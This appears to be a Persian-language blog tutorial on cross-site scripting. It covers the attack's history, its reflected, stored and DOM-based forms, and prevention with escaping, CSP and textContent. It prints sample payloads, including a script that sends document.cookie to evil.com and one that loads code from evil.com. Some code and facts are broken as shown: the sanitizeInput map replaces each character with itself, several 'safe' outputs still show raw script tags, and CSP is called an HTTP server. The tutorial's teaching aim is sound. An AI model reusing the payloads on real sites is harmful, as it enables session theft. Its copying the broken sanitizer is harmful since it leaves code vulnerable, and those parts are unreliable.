تصور کن یه روز گرم تابستونی هست و تو توی کافه محبوبت نشستی و یه قهوه سرد مینوشی. همونطور که از طعم قهوه لذت میبری، تصمیم میگیری یه چک سریع از ایمیلهات بکنی. وارد وبسایت مورد علاقهات میشی و همه چیز عادی به نظر میرسه، ولی نمیدونی که توی سایه، یه هکر در حال دزدیدن اطلاعاتته. این سناریو شاید شبیه فیلمهای جاسوسی به نظر بیاد، ولی خیلی واقعیتر از اونی هست که فکرش رو میکنی. حملات XSS یا همون Cross-Site Scripting یکی از رایجترین و خطرناکترین روشهای نفوذ به وبسایتهاست که ممکنه هر روز برای هزاران کاربر رخ بده.
حالا بیا یه سفر کنیم به گذشته، به روزهایی که اینترنت تازه داشت پا میگرفت. اواخر دهه 90 میلادی، زمانی که وبسایتها ساده و بیآلایش بودن و کاربران با سرعتهای پایین به اینترنت وصل میشدن، شاید هیچکس تصور نمیکرد که یه روز وب اینقدر پیچیده و پر از خطر بشه. اون دوران، هیچکس فکر نمیکرد که کاربران خودشون بتونن تهدیدی برای امنیت وبسایتها باشن.
اما یکی از نخستین موارد مستند XSS، به سال 1999 برمیگرده، زمانی که آقای "George Guninski" یه نقص امنیتی در مرورگرهای اینترنت اکسپلورر و نتاسکیپ پیدا کرد. این نقص به کاربران اجازه میداد که کدهای مخرب رو توی صفحات وب تزریق کنن. این مسئله باعث شد تا بسیاری از متخصصین امنیت به فکر فرو برن و بفهمن که این فقط یه آغاز برای مشکلات بزرگتره.
خب، حالا که توجهت جلب شد، بریم سراغ اصل مطلب. XSS یا همون Cross-Site Scripting یکی از حملات تزریق کده که به هکرها اجازه میده کدهای جاوااسکریپت مخرب رو توی صفحات وب تزریق کنن.
تصور کن یه هکر میاد و کدهای مخربش رو توی فرم نظر یه وبسایت وارد میکنه. وقتی کاربرای دیگه اون صفحه رو باز میکنن، این کدهای مخرب به جای کدهای اصلی وبسایت اجرا میشن. این کدها میتونن به اطلاعات حساس کاربران دسترسی پیدا کنن، کوکیهاشون رو بدزدن و حتی به جای کاربر کارهایی انجام بدن که کاربر هیچ اطلاعی ازشون نداره.
حمله واقعی زمانی رخ میده که قربانی صفحه وب یا برنامه وب رو که کد مخرب توش قرار داده شده بازدید میکنه. در این حالت، صفحه وب یا برنامه وب به یک وسیله برای تحویل اسکریپت مخرب به مرورگر کاربر تبدیل میشه. جاهایی که معمولاً برای حملات Cross-site Scripting استفاده میشن، شامل انجمنها، تابلوهای پیام و صفحات وبی هستند که اجازه نظردهی میدن.
یک صفحه وب یا برنامه وب به XSS آسیبپذیره اگر از ورودی کاربر بدون تصفیه در خروجیای که تولید میکنه استفاده کنه. این ورودی کاربر سپس توسط مرورگر قربانی تحلیل میشه. حملات XSS در VBScript، ActiveX، Flash و حتی CSS ممکنه، اما بیشتر در JavaScript رایج هستند.
شاید بپرسی چرا XSS اینقدر مهمه؟ خب، دلیل اصلیش اینه که میتونه به راحتی اطلاعات حساس کاربران رو بدزده. برای مثال، فرض کن توی یک وبسایت خرید آنلاین هستی و اطلاعات کارت بانکیات رو وارد میکنی. اگر این سایت به حملات XSS آسیبپذیر باشه، مهاجم میتونه کد مخربی رو توی سایت تزریق کنه و اطلاعات کارت بانکیات رو دزدیده و برای خودش استفاده کنه.
حالا بیایید ببینیم حملات XSS چه کارهایی میتونن انجام بدن. شاید در نگاه اول این حملات خیلی خطرناک به نظر نرسن، چون اکثر مرورگرهای وب جاوااسکریپت رو در یک محیط خیلی کنترلشده اجرا میکنن. جاوااسکریپت دسترسی محدودی به سیستم عامل کاربر و فایلهای کاربر داره. ولی با این حال، جاوااسکریپت همچنان میتونه خیلی خطرناک باشه اگه به عنوان بخشی از محتوای مخرب استفاده بشه.
ترکیب این موارد با مهندسی اجتماعی، به هکرها اجازه میده حملات پیشرفتهای مثل دزدی کوکی، کاشت تروجان، کلیدنگاری، فیشینگ و سرقت هویت رو انجام بدن. آسیبپذیریهای XSS زمینه مناسبی برای تشدید حملات به جدیترها فراهم میکنن. Cross-site Scripting همچنین میتونه به همراه سایر انواع حملات مثل Cross-Site Request Forgery (CSRF) استفاده بشه.
یک حمله XSS معمولی دو مرحله داره:
برای اینکه مرحله اول ممکن بشه، وبسایت آسیبپذیر باید ورودی کاربر رو مستقیماً در صفحات خودش قرار بده. هکر میتونه یک رشته مخرب وارد کنه که در صفحه وب استفاده شده و به عنوان کد منبع توسط مرورگر قربانی تلقی بشه. انواع دیگهای از حملات XSS هم هستن که در اونها هکر کاربر رو به بازدید از یک URL با استفاده از مهندسی اجتماعی هدایت میکنه و payload بخشی از لینک هست که کاربر روی اون کلیک میکنه.
فرض کن یه کد شبه سرور داری که برای نمایش آخرین نظر در یک صفحه وب استفاده میشه:
print "<html>"
print "<h1>Most recent comment</h1>"
print database.latestComment
print "</html>"
این کد به سادگی آخرین نظر رو از یک پایگاه داده میگیره و اون رو در یک صفحه HTML قرار میده. فرض میکنه که نظر فقط شامل متن هست و هیچ تگ HTML یا کد دیگهای نداره. این کد به XSS آسیبپذیره، چون هکر میتونه یک نظر حاوی payload مخرب وارد کنه، مثلاً:
<script>doSomethingEvil();</script>
وب سرور کد HTML زیر رو به کاربران ارائه میده که از این صفحه وب بازدید میکنن:
<html>
<h1>Most recent comment</h1>
<script>doSomethingEvil();</script>
</html>
وقتی صفحه در مرورگر قربانی بارگذاری میشه، اسکریپت مخرب هکر اجرا میشه. اغلب، قربانی متوجه این موضوع نمیشه و نمیتونه از چنین حملهای جلوگیری کنه.
هکرها اغلب از XSS برای دزدی کوکیها استفاده میکنن. این بهشون اجازه میده هویت قربانی رو جعل کنن. هکر میتونه کوکی رو به سرور خودش به روشهای مختلف ارسال کنه. یکی از این روشها اجرای اسکریپت سمت کاربر زیر در مرورگر قربانی هست:
<script>
window.location="http://evil.com/?cookie=" + document.cookie
</script>
بردارهای حمله در واقع روشها و مسیرهایی هستن که یه هکر میتونه از طریق اونها به سیستم یا برنامه وب نفوذ کنه و حملات خودش رو انجام بده. هر حملهای نیاز به یه راه ورود داره و بردارهای حمله همون راههای ورود هستن که هکرها ازشون استفاده میکنن تا کدهای مخرب خودشون رو اجرا کنن. حالا بیایید با هم چند تا از بردارهای حمله رایج XSS رو بررسی کنیم.
این تگ یکی از سادهترین و رایجترین روشهای حمله XSS هست. هکرها میتونن با استفاده از این تگ، کدهای جاوااسکریپت خارجی رو به صفحه تزریق کنن یا کدهای جاوااسکریپت رو مستقیم داخل تگ قرار بدن.
<!-- External script -->
<script src=http://evil.com/xss.js></script>
<!-- Embedded script -->
<script>alert("XSS");</script>
ویژگیهای رویداد جاوااسکریپت مثل onload و onerror میتونن توی تگهای مختلفی استفاده بشن و به هکرها اجازه بدن تا کدهای خودشون رو اجرا کنن.
<!-- onload attribute in the <body> tag -->
<body onload=alert("XSS")>
بعضی از مرورگرها جاوااسکریپت موجود در ویژگیهای تگ <img> رو هم اجرا میکنن. هکرها میتونن از این تگ برای تزریق کدهای مخرب استفاده کنن.
<!-- <img> tag XSS -->
<img src="javascript:alert("XSS");">
اینها فقط چند نمونه از بردارهای حمله XSS هستن. به طور کلی، هر زمانی که ورودی کاربر بدون تصفیه مناسب در صفحه وب قرار بگیره، میتونه به عنوان بردار حمله مورد استفاده قرار بگیره. برای جلوگیری از این حملات، باید همیشه ورودیها رو اعتبارسنجی و تصفیه کنید و از روشهای امن کدنویسی استفاده کنید.
حملات XSS یا همون Cross-Site Scripting به سه نوع مختلف تقسیم میشن و هر کدوم میتونن مشکلات جدی برای کاربران و وبسایتها ایجاد کنن. در اینجا به بررسیشون میپردازیم.
حملات XSS بازتابی یکی از رایجترین نوع حملات XSS هستن. در این نوع حملات، کد مخرب به انتهای URL یک وبسایت اضافه میشه؛ اغلب این وبسایتها معتبر و مورد اعتماد هستن. وقتی قربانی لینک رو در مرورگر خودش باز میکنه، مرورگر کد تزریق شده در URL رو اجرا میکنه. مهاجم معمولاً از روشهای مهندسی اجتماعی برای فریب قربانی و کلیک بر روی لینک استفاده میکنه.
مثلاً، ممکنه کاربر یه ایمیل دریافت کنه که به نظر میرسه از بانک خودش باشه. ایمیل از کاربر میخواد تا برای انجام یه عمل به وبسایت بانک مراجعه کنه و لینکی رو ارائه میده. لینک ممکنه به شکل زیر باشه:
http://legitimate-bank.com/index.php?user=<script>here is some bad code!</script>
هر چند بخش اول URL امن به نظر میرسه و شامل دامنه یک وبسایت معتبره، کد تزریق شده در انتهای URL میتونه مخرب باشه.
حملات XSS ذخیرهای در سایتهایی اتفاق میافتن که به کاربران اجازه میدن محتوایی رو پست کنن که دیگر کاربران هم اون رو ببینن، مثل انجمنهای نظرات یا سایتهای شبکههای اجتماعی. اگر سایت به درستی ورودیهای کاربران رو بررسی نکنه، مهاجم میتونه کدی رو وارد کنه که مرورگرهای دیگر کاربران هنگام بارگذاری صفحه اجرا کنن. به عنوان مثال، یه مهاجم ممکنه به یه سایت دوستیابی آنلاین بره و چیزی شبیه به این در پروفایل خودش قرار بده:
"سلام! من دیو هستم، از قدم زدن در ساحل لذت میبرم و <script>malicious code here</script>"
هر کاربری که پروفایل دیو رو باز کنه، قربانی حمله XSS ذخیرهای دیو میشه.
این نوع حمله به تغییرات در سند HTML یا Document Object Model (DOM) تمرکز داره و از جاوااسکریپت موجود در مرورگر استفاده میکنه. در این حملات، کد مخرب مستقیماً در DOM صفحه اجرا میشه و سرور نقش کمتری در این فرآیند داره. حملات XSS مبتنی بر DOM زمانی اتفاق میافتن که یک برنامه شامل جاوااسکریپت سمت کاربر باشه که دادههایی رو از یک منبع نامطمئن پردازش میکنه و به شکلی ناامن این دادهها رو به DOM برمیگردونه.
در مثال زیر، یک برنامه از جاوااسکریپت برای خواندن مقدار از یک فیلد ورودی و نوشتن اون مقدار به یک عنصر درون HTML استفاده میکنه:
var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;
اگه مهاجم بتونه مقدار فیلد ورودی رو کنترل کنه، میتونه به راحتی یه مقدار مخرب بسازه که باعث اجرای اسکریپت خودش بشه:
You searched for: <img src=1 onerror='/* Bad stuff here... */'>
در یک حالت معمولی، فیلد ورودی ممکنه از بخشی از درخواست HTTP پر بشه، مثل یک پارامتر query string در URL، که به مهاجم این امکان رو میده تا با استفاده از یک URL مخرب، حملهای مشابه XSS بازتابی انجام بده.
جلوگیری از حملات XSS نیازمند استراتژیهای مختلفیه و بسته به نوع وباپلیکیشن، سطوح مختلفی از حفاظت نیاز داره. در اینجا چند تا از روشهای موثر برای پیشگیری از این حملات رو براتون میگم:
یکی از بهترین راهها برای جلوگیری از حملات XSS پایدار اینه که اجازه ندیم کاربران HTML رو توی فرمها وارد کنن. به جای استفاده از HTML، میتونید از گزینههای دیگهای مثل markdown یا ویرایشگرهای WYSIWYG استفاده کنید که به کاربران اجازه میده محتوای غنی ایجاد کنن بدون اینکه نیاز به HTML باشه.
اعتبارسنجی به این معنیه که قوانینی رو پیادهسازی کنیم که از ارسال دادههایی که معیارهای مشخصی رو رعایت نمیکنن جلوگیری کنه. مثلاً، یه فرم که از کاربر نام خانوادگی رو میخواد باید قوانینی داشته باشه که فقط اجازه ورود کاراکترهای الفبایی عددی رو بده. قوانین اعتبارسنجی همچنین میتونن تگها یا کاراکترهای رایج در حملات XSS مثل تگ <script> رو رد کنن.
تصفیه دادهها شبیه به اعتبارسنجیه ولی بعد از اینکه دادهها به سرور ارسال شدن انجام میشه، و قبل از اینکه به کاربر دیگهای نمایش داده بشن. ابزارهای آنلاین زیادی وجود دارن که میتونن HTML رو تصفیه کنن و کدهای مخرب رو فیلتر کنن.
وباپلیکیشنها میتونن قوانین خاصی برای مدیریت کوکیها تنظیم کنن که از دزدی کوکیها توسط حملات XSS جلوگیری کنه. مثلاً، کوکیها رو میشه به آدرسهای IP خاصی متصل کرد تا حملهکنندگان نتونن بهشون دسترسی پیدا کنن. همچنین میشه قوانینی تعیین کرد که جاوااسکریپت نتونه به کوکیها دسترسی پیدا کنه.
یک فایروال اپلیکیشن وب (WAF) میتونه برای جلوگیری از حملات XSS بازتابی تنظیم بشه. این قوانین از ارسال درخواستهای عجیب و غریب به سرور جلوگیری میکنن، از جمله حملات XSS. فایروال Cloudflare WAF نصب سادهای داره و از وباپلیکیشنها در برابر حملات XSS، DDoS، تزریق SQL و تهدیدات رایج دیگه محافظت میکنه.
Content Security Policy (CSP) یه سرور HTTP هست که به شما امکان میده تا محدودیتهای امنیتی روی منابعی که مرورگر میتونه بارگذاری کنه اعمال کنید. این سیاست امنیتی خیلی کارآمده چون میتونه به طور قابل توجهی جلوی اجرای کدهای مخرب رو بگیره.
وقتی CSP رو به درستی پیکربندی کنید، مرورگر فقط منابعی رو بارگذاری میکنه که شما مشخص کردید. مثلاً میتونید تعیین کنید که اسکریپتها فقط از یک دامنه خاص بارگذاری بشن و از اجرای اسکریپتهای درونخطی (inline) یا ارزیابیشده (evaluated) جلوگیری کنید. این کار باعث میشه حتی اگه یه هکر بتونه کدی رو به وبسایت تزریق کنه، مرورگر اون کد رو اجرا نکنه.
برای پیادهسازی CSP، شما باید هدر HTTP رو تنظیم کنید. یه مثال ساده از پیکربندی CSP به شکل زیره:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-scripts.com; object-src 'none'
تو این مثال، مرورگر فقط منابع پیشفرض رو از دامنه خودش بارگذاری میکنه، اسکریپتها رو فقط از دامنه خودش و دامنه مشخصشده بارگذاری میکنه و اجازه نمیده که اشیای خارجی بارگذاری بشن.
خیلی مهمه که پشتیبانی HTTP TRACE رو روی همه وب سرورها خاموش کنید. یه مهاجم میتونه حتی زمانی که document.cookie غیر فعال یا توسط کلاینت پشتیبانی نمیشه، دادههای کوکی رو از طریق جاوااسکریپت بدزده. این حمله زمانی انجام میشه که کاربر یه اسکریپت مخرب رو به یه انجمن پست میکنه و وقتی کاربر دیگهای روی لینک کلیک میکنه، یه درخواست HTTP TRACE غیر همزمان فعال میشه که اطلاعات کوکی کاربر رو از سرور جمعآوری میکنه و اون رو به یه سرور مخرب دیگه ارسال میکنه که اطلاعات کوکی رو جمع میکنه تا مهاجم بتونه یه حمله برای هک Session رو انجام بده. این به راحتی با خاموش کردن پشتیبانی HTTP TRACE روی همه وب سرورها قابل پیشگیریه.
همیشه باید از روشهای امن کدنویسی استفاده کنی و از توابع و ابزارهایی که به امنیت بیشتر کمک میکنن بهره ببری. این کار باعث میشه تا بتونی از آسیبپذیریهای رایج جلوگیری کنی و کدهایی بنویسی که در برابر حملات مقاوم باشن.
برای مثال، توی جاوااسکریپت باید از روشهای امن استفاده کنی. به جای استفاده از innerHTML که میتونه به راحتی کدهای مخرب رو اجرا کنه، از textContent استفاده کن که فقط متن ساده رو بدون اجرای کدهای HTML درج میکنه.
در نهایت، یکی از بهترین روشها برای کدنویسی امن، اینه که همیشه بهروز باشی و از ابزارها و کتابخانههای معتبر استفاده کنی. همچنین، مرور مستمر کدها و تستهای امنیتی میتونه به شناسایی و رفع آسیبپذیریهای احتمالی کمک کنه.
در مقاله "بهترین شیوههای امنیت سایبری در سال 2024 (چگونه از دادههای خود محافظت کنیم)" به طور جامعتر به بهترین شیوهها و روشهای محافظت از دادهها و سیستمها در برابر تهدیدات مختلف سایبری پرداختیم. پیشنهاد میکنم یه نگاهی بهش بندازی، کلی نکات مهم و کاربردی توش هست که بهت کمک میکنه دادههات رو امن نگه داری.
خب، بیایید ببینیم چطور میتونیم از حملات XSS جلوگیری کنیم. چند تا مثال کاربردی رو با هم بررسی میکنیم تا بهتر بفهمیم چطور میتونیم جلوی این نوع حملات رو بگیریم.
یکی از مهمترین روشهای جلوگیری از XSS اینه که ورودیهای کاربر رو به دقت اعتبارسنجی و تصفیه کنیم. این کار باعث میشه که کدهای مخرب نتونن به راحتی اجرا بشن.
function sanitizeInput(input) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
"/": '/',
};
const reg = /[&<>"'/]/ig;
return input.replace(reg, (match)=>(map[match]));
}
let userInput = '<script>alert("Hacked by 7Learn!")</script>';
let safeInput = sanitizeInput(userInput);
console.log(safeInput); // <script>alert("Hacked by 7Learn!")</script>
در PHP میتونیم از تابع htmlspecialchars (یا htmlentities) برای تصفیه ورودیهای کاربر استفاده کنیم:
$userInput = '<script>alert("Hacked by 7Learn!")</script>';
$safeInput = htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
echo $safeInput; // <script>alert("Hacked by 7Learn!")</script>
در پایتون میتونیم از کتابخانههای مختلفی مثل html استفاده کنیم:
import html
user_input = '<script>alert("Hacked by 7Learn!")</script>'
safe_input = html.escape(user_input)
print(safe_input) # <script>alert("Hacked by 7Learn!")</script>
Content Security Policy (CSP) یکی از راههای قدرتمند برای جلوگیری از اجرای کدهای مخربه. با استفاده از CSP، میتونید مشخص کنید که مرورگر فقط از منابع معینی کدها رو بارگذاری کنه.
<head>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'; object-src 'none';">
</head>
یکی دیگه از روشهای جلوگیری از XSS اینه که به جای استفاده از innerHTML که میتونه کدهای HTML و جاوااسکریپت رو اجرا کنه، از textContent استفاده کنیم که فقط متن ساده رو درج میکنه.
let userContent = '<script>alert("Hacked by 7Learn!")</script>';
let element = document.createElement('div');
element.textContent = userContent; // این روش امنتره
document.body.appendChild(element);
استفاده از کتابخانهها و ابزارهای معتبر میتونه خیلی کمککننده باشه. مثلاً در Node.js میتونیم از کتابخانه xss استفاده کنیم:
const xss = require('xss');
let userInput = '<script>alert("Hacked by 7Learn!")</script>';
let safeInput = xss(userInput);
console.log(safeInput); // <script>alert("Hacked by 7Learn!")</script>
XSS یا همون Cross-Site Scripting با تزریق کدهای جاوااسکریپت مخرب به وبسایتها کار میکنه. این کدها میتونن اطلاعات حساس کاربران رو بدزدن و به مهاجم ارسال کنن. وقتی یه کاربر به صفحهای که حاوی این کدهای مخرب هست وارد میشه، مرورگرش این کدها رو اجرا میکنه و اطلاعات مثل کوکیها، دادههای فرمها و حتی اطلاعات شخصی کاربر در اختیار مهاجم قرار میگیره.
برای تست آسیبپذیری XSS، میتونی از ابزارهای امنیتی مختلفی مثل Burp Suite یا OWASP ZAP استفاده کنی. همچنین میتونی به صورت دستی کدهای مخرب رو در ورودیهای سایت وارد کنی و ببینی آیا اجرا میشن یا نه. مثلاً با وارد کردن یه اسکریپت ساده مثل <script>alert('XSS')</script> در فرمهای ورودی سایت، میتونی بررسی کنی که آیا سایت این کد رو اجرا میکنه یا نه.
فریمورکهای مدرن مثل Angular، React و Vue.js به جلوگیری از XSS کمک میکنن. این فریمورکها به طور خودکار از روشهای امنتری برای مدیریت DOM استفاده میکنن و جلوی تزریق کدهای مخرب رو میگیرن. برای مثال، در React وقتی از JSX استفاده میکنی، کدها به صورت خودکار تصفیه میشن تا از امنیت بیشتری برخوردار باشن.
نه، همه وبسایتها به XSS آسیبپذیر نیستن. وبسایتهایی که به درستی ایمن شده باشن و از روشهای امن کدنویسی استفاده کنن، کمتر به حملات XSS دچار میشن. اگه ورودیهای کاربر به درستی اعتبارسنجی و تصفیه بشن، خطر XSS به شدت کاهش پیدا میکنه.
برای افزایش امنیت وبسایتت در برابر XSS، باید چند تا کار انجام بدی:
حملات XSS یکی از خطرناکترین و رایجترین روشهای نفوذ به وبسایتها هستن که میتونن اطلاعات حساس کاربران رو به خطر بندازن. با این حال، با استفاده از روشهای صحیح کدنویسی و پیادهسازی ابزارهای امنیتی مثل CSP، میتونی به راحتی از این حملات جلوگیری کنی. امنیت وبسایتها یکی از مهمترین مسائل در دنیای امروز هست و باید همیشه به اون توجه داشته باشیم تا کاربرانمون در امنیت کامل باشن.
به یاد داشته باش، دنیای اینترنت مثل یک جنگل پر از شکارچیهاست و تو باید همیشه آماده و مجهز باشی تا از خودت و اطلاعاتت محافظت کنی. امیدوارم این مقاله برات مفید بوده باشه و بتونی ازش برای افزایش امنیت وبسایتهات استفاده کنی. موفق باشی!